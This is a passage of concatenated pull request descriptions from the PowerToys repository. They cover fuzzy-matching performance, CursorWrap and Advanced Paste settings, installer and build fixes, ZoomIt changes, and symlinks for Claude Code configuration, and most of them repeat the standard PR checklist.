pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR improves fuzzy matching in Command Palette by:
- Precomputing normalized strings to enable faster comparisons
- Reducing memory allocations during matching, effectively down to zero
It also introduces several behavioral improvements:
- Strips diacritics from the normalized search string to improve
matching across languages
- Suppresses the same-case bonus when the query consists entirely of
lowercase characters -- reflecting typical user input patterns
- Allows skipping word separators -- enabling queries like Power Point
to match PowerPoint
This implementation is currently kept internal and is used only on the
home page. For other scenarios, the `FuzzyStringMatcher` from
`Microsoft.CommandPalette.Extensions.Toolkit` is being improved instead.
`PrecomputedFuzzyMatcher` offers up to a 100× performance improvement
over the current `FuzzyStringMatcher`, and approximately 2–5× better
performance compared to the improved version.
The improvement might seem small, but it adds up and becomes quite
noticeable when filtering the entire home page—whether the user starts a
new search or changes the query non-incrementally (e.g., using
backspace).
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45226
- [x] Closes: #44066
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Update project references across multiple projects to utilize
`$(RepoRoot)` for paths, ensuring consistency and improving
maintainability.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: N/A
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
This change affects the following projects:
- `src/common/ManagedCsWin32/ManagedCsWin32.csproj`
- `src/common/Common.Search/Common.Search.csproj`
- `src/common/AllExperiments/AllExperiments.csproj`
- `src/modules/peek/Peek.Common/Peek.Common.csproj`
- `src/common/UITestAutomation/UITestAutomation.csproj`
- `src/common/GPOWrapperProjection/GPOWrapperProjection.csproj`
- `src/modules/powerrename/PowerRenameUITest/PowerRename.UITests.csproj`
- `src/common/LanguageModelProvider/LanguageModelProvider.csproj`
- `src/modules/Hosts/Hosts.Tests/HostsEditor.UnitTests.csproj`
- `tools/StylesReportTool/StylesReportTool.vcxproj`
- `src/common/interop/interop-tests/Common.Interop.UnitTests.csproj`
- `tools/MonitorReportTool/MonitorReportTool.vcxproj`
- `src/common/ManagedTelemetry/Telemetry/ManagedTelemetry.csproj`
- `src/modules/peek/Peek.FilePreviewer/Peek.FilePreviewer.csproj`
- `src/settings-ui/Settings.UI.Controls/Settings.UI.Controls.csproj`
- `src/common/Themes/Themes.vcxproj`
- `src/common/COMUtils/COMUtils.vcxproj`
-
`src/modules/cmdpal/Tests/Microsoft.CmdPal.UITests/Microsoft.CmdPal.UITests.csproj`
- `src/modules/imageresizer/tests/ImageResizer.UnitTests.csproj`
The changes were validated by running existing unit tests, which all
passed successfully.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Executed all unit tests related to the modified projects, confirming
that all tests passed without issues.
```
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Boosting productivity #2x. Customer mentioned with Custom Action
(Shortcut trigger) "We should not need to do two keyboard actions to
finish this awesome AI data transformation, instead, just single
shortcut should do copy + advanced paste."
This pull request introduces a new feature to the Advanced Paste module
that allows users to automatically copy the current selection when
triggering a custom action hotkey. The changes include backend logic for
sending the copy command, updates to configuration and settings
management, and UI additions to expose this option to users.
### Feature Addition: Auto-Copy Selection for Custom Action Hotkeys
* Added a new boolean setting, `AutoCopySelectionForCustomActionHotkey`,
to both the backend (`dllmain.cpp`, `AdvancedPasteProperties.cs`) and
the settings UI, allowing users to enable or disable automatic copying
of the current selection when a custom action hotkey is pressed.
[[1]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR63)
[[2]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR106)
[[3]](diffhunk://#diff-7f5d34989db7593fa4969a79cf97f709d210c157343d474650d5df4b9bf18114R31)
[[4]](diffhunk://#diff-7f5d34989db7593fa4969a79cf97f709d210c157343d474650d5df4b9bf18114R83-R85)
[[5]](diffhunk://#diff-09c575763019d9108b85a2e7b87a3bb6ed23a835970bf511b1a6bbe9a9f53835R174-R178)
[[6]](diffhunk://#diff-0f8bf95882c074d687f6c4f2673cf9c8b1a904b117c11f75d0c892d809f3cd42R558-R570)
### Backend Logic and Integration
* Implemented the `send_copy_selection()` and `try_send_copy_message()`
methods in `dllmain.cpp` to send a WM_COPY message or simulate a Ctrl+C
keystroke, ensuring the selected content is copied before executing the
custom action.
* Integrated the new setting into the hotkey handler logic so that when
a custom action hotkey is pressed and the setting is enabled, the copy
operation is triggered before running the custom action.
### Configuration and State Management
* Updated serialization/deserialization and property synchronization
logic to support the new setting, ensuring its value is correctly
loaded, saved, and reflected in the UI and runtime behavior.
[[1]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR353-R357)
[[2]](diffhunk://#diff-0f8bf95882c074d687f6c4f2673cf9c8b1a904b117c11f75d0c892d809f3cd42R1235-R1240)
### UI and Localization
* Added a new checkbox to the Advanced Paste settings page in XAML to
allow users to toggle the auto-copy feature.
* Provided localized strings for the new setting, including header and
description, in the resource file for user clarity.
### Refactoring for Hotkey Logic
* Refactored hotkey handling code to correctly calculate indices for
additional and custom actions, supporting the new auto-copy logic and
improving code clarity.
[[1]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR918-R936)
[[2]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dL871)
[[3]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dL884)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request updates how the `IsShownInSwitchers` property is set
for the PowerDisplay windows, moving from XAML-based configuration to
explicit runtime setting in the code-behind. This improves compatibility
and error handling, especially in scenarios where the property may not
be supported or could throw exceptions.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a crash related to `IsShownInSwitchers` when explorer.exe is not
running. The property has been removed from XAML and is now set in the
C# backend with added exception handling to improve stability. No
changes were made for projects where the property is set to true, as
they are not affected.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: vanzue <vanzue@outlook.com>
## Summary of the Pull Request
Fixes#45185 - CursorWrap "Automatically activate on utility startup"
setting cannot be disabled, and prevents spurious activation on startup.
## PR Checklist
- [x] Closes: #45185
- [x] **Communication:** Issue was reported by community; fix follows
established patterns from MousePointerCrosshairs
- [x] **Tests:** Manual validation performed by contributor (video
available)
- [x] **Localization:** No new user-facing strings added
- [ ] **Dev docs:** N/A - bug fix only
- [ ] **New binaries:** N/A - no new binaries
- [ ] **Documentation updated:** N/A - bug fix only
## Detailed Description of the Pull Request / Additional comments
### Problem
Users reported that disabling the "Automatically activate on utility
startup" setting for CursorWrap does not work - the mouse hook always
starts automatically regardless of the setting value.
### Root Causes
1. **`dllmain.cpp` `enable()` method**: `StartMouseHook()` was always
called unconditionally, ignoring `m_autoActivate`.
2. **`MouseUtilsViewModel.cs` `IsCursorWrapEnabled` setter**: enabling
CursorWrap forced `AutoActivate = true`, overriding the user's
preference.
3. **Startup edge case**: the trigger event could remain signaled from a
previous session, immediately toggling CursorWrap on startup even when
AutoActivate is off.
### Solution
1. **`src/modules/MouseUtils/CursorWrap/dllmain.cpp`**: only start the
mouse hook if `m_autoActivate` is true.
2. **`src/settings-ui/Settings.UI/ViewModels/MouseUtilsViewModel.cs`**:
remove the line that forced `AutoActivate = true` when enabling
CursorWrap.
3. **`src/modules/MouseUtils/CursorWrap/dllmain.cpp`**: reset the
trigger event on enable to avoid immediate activation on startup.
### Pattern Reference
This fix follows the same pattern used by **MousePointerCrosshairs**
module which has a similar `AutoActivate` setting that works correctly.
## Validation Steps Performed
### Build
- `tools\build\build.ps1 -Platform x64 -Configuration Debug`
### Manual validation (contributor)
#### Test Case 1: AutoActivate = false (should NOT auto-start mouse
hook)
1. Open PowerToys Settings → Mouse Utilities → Cursor Wrap
2. Enable Cursor Wrap
3. **Disable** "Automatically activate on utility startup"
4. Close PowerToys completely (right-click tray icon → Exit)
5. Restart PowerToys
6. **Expected Result**: CursorWrap module is loaded but mouse hook is
NOT active - cursor does NOT wrap at screen edges
7. Press activation hotkey (default: `Win+Alt+U`)
8. **Expected Result**: Mouse hook activates, cursor now wraps at screen
edges
9. **Actual Result**: ✅ Works as expected
#### Test Case 2: AutoActivate = true (should auto-start mouse hook)
1. Open PowerToys Settings → Mouse Utilities → Cursor Wrap
2. Enable Cursor Wrap
3. **Enable** "Automatically activate on utility startup"
4. Close PowerToys completely
5. Restart PowerToys
6. **Expected Result**: Mouse hook is immediately active, cursor wraps
at screen edges without pressing hotkey
7. **Actual Result**: ✅ Works as expected
#### Test Case 3: Setting persistence after restart
1. Set AutoActivate = false, restart PowerToys
2. Open Settings and verify AutoActivate is still false
3. Set AutoActivate = true, restart PowerToys
4. Open Settings and verify AutoActivate is still true
5. **Actual Result**: ✅ Setting persists correctly
#### Test Case 4: Hotkey toggle works correctly
1. With AutoActivate = false, restart PowerToys
2. Press hotkey → cursor should start wrapping
3. Press hotkey again → cursor should stop wrapping
4. **Actual Result**: ✅ Hotkey toggle works correctly
---
**Note**: Video demonstration available from contributor.
## Summary of the Pull Request
CursorWrap wraps on the outer edge of monitors, if a user is swapping
between a laptop and docked laptop with external monitors the user might
want to only enable wrapping when connected to external monitors, and
disable when only on the laptop.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #45198
- [ ] Closes: #45154
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
Currently CursorWrap will wrap around the horizontal/vertical edges of
monitors, if the user has more than one monitor the outer edges are used
as wrap targets, if the user only has one monitor (perhaps a laptop)
wrapping might be temporarily disabled until additional external
monitors are added (such as being plugged into a dock or using a USB-C
monitor).
The new option will disable wrapping if only a single monitor is
detected, monitor detection is dynamic.
## Validation Steps Performed
Validated on a Surface Laptop 7 Pro (Intel) with a USB-C External
Monitor.
---------
Co-authored-by: Niels Laute <niels.laute@live.nl>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request updates project configuration for two modules by
changing how the Windows App SDK is included. Specifically, it switches
both modules from using a self-contained Windows App SDK deployment to a
framework-dependent deployment. This means the applications will now
rely on the system-installed Windows App SDK rather than bundling it
with the app.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Making sure the codes builds and verified before submitting a pr.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request refactors the `AdvancedPasteAdditionalActions` class
to use private backing fields and custom property accessors for its
action properties. This change allows for better control over property
initialization and ensures that the properties always have valid,
non-null default values.
**Refactoring for property initialization and null safety:**
* Introduced private backing fields (`_imageToText`, `_pasteAsFile`,
`_transcode`) for the `ImageToText`, `PasteAsFile`, and `Transcode`
properties in `AdvancedPasteAdditionalActions`, replacing
auto-properties.
* Updated the property accessors for `ImageToText`, `PasteAsFile`, and
`Transcode` to use the new backing fields and ensure that a new default
instance is assigned if a null value is provided during initialization.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45189
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [X] Closes: #42261
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
- Fixes an issue where Image Resizer stops working after upgrading
PowerToys on Windows 10
- Root cause: the PackageIdentityMSIX (sparse app) was not being
properly cleaned up during upgrade
## Problem
Previous versions of PowerToys installed the sparse app on Windows 10.
The current version only installs it on Windows 11+ (build >= 22000).
During upgrade on Windows 10:
1. The `NOT UPGRADINGPRODUCTCODE` condition prevented the uninstall
action from running
2. The Windows 11 version check prevented the new sparse app from being
installed
3. Result: the old sparse app remained on the system, causing Image
Resizer to malfunction
## Fix
Changed the `UninstallPackageIdentityMSIX` condition from:
Installed AND (NOT UPGRADINGPRODUCTCODE) AND (REMOVE="ALL")
to:
Installed AND (REMOVE="ALL")
This ensures the old sparse app is properly cleaned up during upgrades,
which is also consistent with other similar cleanup
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45178#45280
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
1. Install PowerToys version 0.96.1 on Windows 10.
2. Upgrade to version 0.97.1.
3. Run Get-AppxPackage -Name "*Sparse*" in PowerShell to check whether a
Sparse App package is present.
This is not a leak per se, but closing the virtual microphone when
recording stops is a good thing to do.
Also bump ZoomIt's version to 10.1.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This is a code quality addition, not a real bug per se - ZoomIt holds
one reference to a virtual microphone stream, thus causing the
notification area (system tray) microphone symbol always show ZoomIt as
"recording" even after stopping a screen recording in ZoomIt.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
It's sufficient to just notice that:
- Audio recording still works.
- The notification area / system tray microphone notification is active
while screen recording.
- That notification disappears after stopping the ZoomIt screen capture
session.
-
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
Adds Claude Code support by creating symbolic links under `.claude/`
that point to existing GitHub Copilot configuration files in `.github/`.
This enables Claude Code to use the same AI contributor guidance,
agents, prompts, instructions, and skills without duplicating content.
## Detailed Description of the Pull Request / Additional comments
This PR creates a `.claude/` directory with symbolic links mapping
Claude Code's expected paths to existing GitHub Copilot configurations:
| Claude Code Path | → | GitHub Copilot Source |
|------------------|---|----------------------|
| `.claude/CLAUDE.md` | → | `.github/copilot-instructions.md` |
| `.claude/agents/` | → | `.github/agents/` |
| `.claude/commands/` | → | `.github/prompts/` |
| `.claude/rules/` | → | `.github/instructions/` |
| `.claude/skills/` | → | `.github/skills/` |
**Key benefits:**
- Single source of truth — edits to `.github/` files automatically apply
to Claude Code
- Directory symlinks ensure new files (agents, prompts, skills) are
picked up without updating the mapping
- `.gitattributes` updated with `symlink` hint for `.claude/**`
**Windows users cloning this repo need:**
- Developer Mode enabled, OR admin privileges
- `git config --global core.symlinks true` before cloning
## Validation Steps Performed
- [x] Verified symlinks resolve correctly on Windows (`Get-ChildItem
.claude` shows targets)
- [x] Confirmed content is readable through symlinks (`Get-Content
.claude\CLAUDE.md`)
- [x] Verified Git indexes files as symlinks (mode `120000` in `git
ls-files -s`)
- [x] Confirmed symlink targets stored with forward slashes for
cross-platform compatibility
- [x] No automated tests required — changes are config/symlinks only
with no runtime impact
## Summary of the Pull Request
Adds a video trim dialog to ZoomIt
## PR Checklist
Closes 45333
## Validation Steps Performed
Manual validation
---------
Co-authored-by: Mark Russinovich <markruss@ntdev.microsoft.com>
Co-authored-by: foxmsft <foxmsft@hotmail.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR adds a local suppression for warning CsWinRT1028: Class should
be marked partial for source generated class `DeleteObjectSafeHandle`.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Related to: #42574
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
